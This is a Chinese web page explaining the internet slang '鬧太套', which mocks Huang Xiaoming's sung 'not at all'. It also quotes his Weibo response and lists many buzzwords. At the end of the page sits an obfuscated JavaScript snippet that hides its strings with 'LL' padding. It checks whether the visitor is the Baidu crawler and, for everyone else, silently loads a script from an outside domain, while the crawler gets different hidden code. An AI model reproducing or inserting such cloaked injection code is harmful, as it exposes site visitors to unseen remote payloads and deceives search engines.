當(dāng)前位置:首頁 > 娛樂 > 網(wǎng)絡(luò)流行語 > 正文

鬧太套是什么意思?為什么管黃曉明叫鬧太套

2012-06-27 17:47:52  來源:360常識(shí)網(wǎng)  作者:網(wǎng)絡(luò)流行語     熱度:
導(dǎo)語:鬧太套是英文“not at all”的中文音譯。歌手黃曉明在演唱《One World One Dream》時(shí),由于對(duì)not at all的美式發(fā)音酷似“鬧太套”而遭網(wǎng)友調(diào)侃,此詞也因此成為網(wǎng)絡(luò)流行語之一。

英文“not at all”的中文音譯。歌手黃曉明在演唱《One World One Dream》時(shí),由于對(duì)not at all的發(fā)音酷似“鬧太套”而遭網(wǎng)友調(diào)侃,此詞也因此成為網(wǎng)絡(luò)流行語之一。

  鬧太套的詞語介紹

  not at all

  固定詞組ph。

  不要客氣

  “Thank you for your help。”“Not at all。”

  “感謝您的幫助。”“別客氣。”

  不過多數(shù)英語地區(qū)單用此句時(shí)非常罕見,可能為地方方言。

  讀音,正宗的口語連讀與"鬧太套"極為相似,整首歌英文部分發(fā)音確實(shí)一般,但惟獨(dú)這句沒錯(cuò)。至于如此被譏諷可能與大多數(shù)網(wǎng)友偏差的中式英語口語水平有關(guān)。

  鬧太套的來源

  黃曉明演唱《One World One Dream》時(shí),由于對(duì)not at all的發(fā)音酷似“鬧太套”而遭網(wǎng)友調(diào)侃,從此得名“鬧太套”教主,此詞也因此成為網(wǎng)絡(luò)流行語之一,以此嘲笑許多明星為了顯示自己的與眾不同卻弄巧成拙。

  造句:做人不能“鬧太套”,說英文讓人笑。

  點(diǎn)評(píng):黃曉明發(fā)音的確不太標(biāo)準(zhǔn)。嘩眾取寵要不得。

  鬧太套的事件回應(yīng)

  在此事件過去后,黃曉明于8月31日16:18在其官方微博上發(fā)表回應(yīng):“朋友見我的時(shí)候笑我,你以后只能穿沒跟的鞋了。我說,去他們的,我參加慈善活動(dòng)他們不關(guān)注孩子,卻看我的鞋,我一腔熱情為奧運(yùn)唱歌,你們來揪我那么一點(diǎn)發(fā)音,我是為那么幾個(gè)無聊的人活的嗎?我愛穿什么你們管著嗎?再見,帶家人散心去了!大爺沒那么多時(shí)間陪你們玩!”

  網(wǎng)絡(luò)流行用語大全

·蛋疼 ·坑爹 ·度娘 ·土豪 ·毀三觀 ·拜金女 ·高富帥 ·弱爆了 ·神馬都是浮云
·猥瑣 ·宅男 ·次奧 ·奇葩 ·傷不起 ·嫁房女 ·白富美 ·碉堡了 ·很黃很暴力
·屌絲 ·腐女 ·熟女 ·驢友 ·綠茶婊 ·奶嘴男 ·黑木耳 ·爆菊花 ·羨慕嫉妒恨
·剩男 ·你妹 ·吐槽 ·腹黑 ·么么噠 ·籬笆女 ·矮窮挫 ·喜當(dāng)?shù)?/span> ·齊B小短裙
·賣萌 ·蘿莉 ·御姐 ·基友 ·滾床單 ·干物女 ·hold住 ·干巴爹 ·我勒個(gè)去
·圍脖 ·鴨梨 ·帥鍋 ·搞基 ·仙人跳 ·接盤俠 ·蒜你狠 ·月光族 ·哥只是個(gè)傳說
·菜鳥 ·穿越 ·小強(qiáng) ·悲催 ·高端黑 ·食草男 ·你懂的 ·草泥馬 ·人肉搜索
·癡漢 ·森女 ·嫩模 ·尿點(diǎn) ·高級(jí)黑 ·鳳凰男 ·非主流 ·打醬油 ·內(nèi)牛滿面
·童鞋 ·港女 ·敗犬 ·我暈 ·腦殘粉 ·孔雀女 ·妥妥的 ·高大上 ·我爸是李剛
·XX控 ·D8 ·嗷嗷 ·雷人 ·大姨媽 ·泡良族 ·大姨夫 ·秀下限 ·霸氣側(cè)漏
·揩油 ·小白 ·元芳 ·走你 ·女漢子 ·啃老族 ·沙發(fā)客 ·有木有 ·彎腰撿肥皂
·槑槑 ·劈腿 ·逆襲 ·狗血 ·純爺們 ·小盆友 ·背奶族 ·查水表 ·節(jié)操碎一地
·忽悠 ·吃翔 ·損色 ·419 ·外圍女 ·裝婚男 ·土豪金 ·豎中指 ·去年買了個(gè)表
·爺們 ·腦殘 ·滾粗 ·備胎 ·綠茶渣 ·牛奮男 ·鬧太套 ·神回復(fù) ·人品大爆發(fā)
·尼瑪 ·蟻?zhàn)?/span> ·正太 ·裸婚 ·咖啡婊 ·切糕黨 ·火星文 ·裝B ·躺著也中槍
· ·給力 ·拼爹 ·偽娘 ·上頭條 ·歐巴桑 ·愛無能 ·我擦 ·壓力山大
·醬紫 ·蒙圈 ·人品 ·凌亂 ·我伙呆 ·何棄療 ·思密達(dá) ·惡搞 ·蛋疼菊緊
·拉拉 ·草根 ·得瑟 ·矮油 ·1314 ·公主病 ·肥皂劇 ·牛X ·狗血?jiǎng)∏?/span>
·尿性 ·圍觀 ·ol ·裸辭 ·小白鼠 ·拆白黨 ·軟妹紙 ·二貨 ·老牛吃嫩草

 

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}